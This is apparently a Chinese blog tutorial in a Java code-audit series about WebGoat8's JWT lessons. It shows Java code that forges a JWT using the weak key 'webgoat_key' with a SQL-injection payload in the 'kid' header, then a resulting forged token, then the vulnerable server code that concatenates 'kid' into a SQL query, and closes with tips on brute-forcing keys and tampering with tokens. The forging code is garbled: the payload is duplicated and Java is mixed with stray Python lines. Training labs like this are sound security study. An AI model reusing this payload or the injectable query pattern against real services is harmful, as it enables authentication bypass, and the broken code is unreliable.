主页 > 网络知识 > Java代码审计入门:WebGoat8(再会)(12)

Java代码审计入门:WebGoat8(再会)(12)

Java版本

import java.util.ArrayList; import io.jsonwebtoken.Claims; import io.jsonwebtoken.Jwts; public class JWTcryptotest { public static final String JWT_PASSWORD = "webgoat_key"; #public static byte[] JWT_PASSWORD = TextCodec.BASE64.decode("webgoat_key");//这样也可以,得出的密文一样。 public static void createJWTToken() { Claims claims = Jwts.claims(); claims.put("iat", 1529569536); claims.put("iss", "WebGoat Token Builder"); claims.put("exp", 1618905304); claims.put("aud", "webgoat.org"); claims.put("sub", "jerry@webgoat.com"); claims.put("username", "Tom"); claims.put("Email", "jerry@webgoat.com"); ArrayList<String> roleList = new ArrayList<String>(); roleList.add("Cat"); claims.put("Role", roleList); String token = Jwts.builder().setClaims(claims).setHeaderParam("typ", "JWT") .setHeaderParam("kid", "123' and 1=2 union select id FROM jwt_keys WHERE and 1=2 union select id FROM jwt_keys WHEREascii') # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str print(jwt_token)

签名:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6IndlYmdvYXRfa2V5In0.eyJpYXQiOjE1Mjk1Njk1MzYsImlzcyI6IldlYkdvYXQgVG9rZW4gQnVpbGRlciIsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.6cuviRab-boP6raqinzKYuUmHUM4PpPWsnXAQMv3738

放到请求包中也能通过,说明签名没问题。

 

Java代码审计入门:WebGoat8(再会)

jwt.io中也通过了。 

Java代码审计入门:WebGoat8(再会)

Java代码审计入门:WebGoat8(再会)

将key设成:webgoat_key的时候,会抛出错误:

 

这个时候你可能会问,为什么key要先做base64 decode处理? 

因为下方代码块中的: 

return TextCodec.BASE64.decode(rs.getString(1));

final String[] errorMessage = {null}; Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() { @Override public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { final String kid = (String) header.get("kid"); try { Connection connection = DatabaseUtilities.getConnection(webSession); ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); while (rs.next()) { System.out.println(rs.getString(1)); System.out.println(TextCodec.BASE64.decode(rs.getString(1))); return TextCodec.BASE64.decode(rs.getString(1)); } } catch (SQLException e) { errorMessage[0] = e.getMessage(); } return null; } }).parseClaimsJws(token);

总结:

1.对JWT,signature key爆破和篡改JWT的写法需要根据源码来相应设置。

2.对JWT,signature key爆破可尝试直接明文和base64encode两种(不排除其他种可能);上文例子中,对明文key进行base64decode后作为signature key来签名,这种情况非常少见。

3.refresh_token越权篡改他人access_token问题值得注意,refresh_token出现频率低,测试人员漏测几率高。

4.可在JWT的headers,payload部分的参数值中插入常见漏洞相关payload去尝试,尽管我们不知道signature key。

本篇到此结束,感谢您的翻阅,期待您的宝贵意见。

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!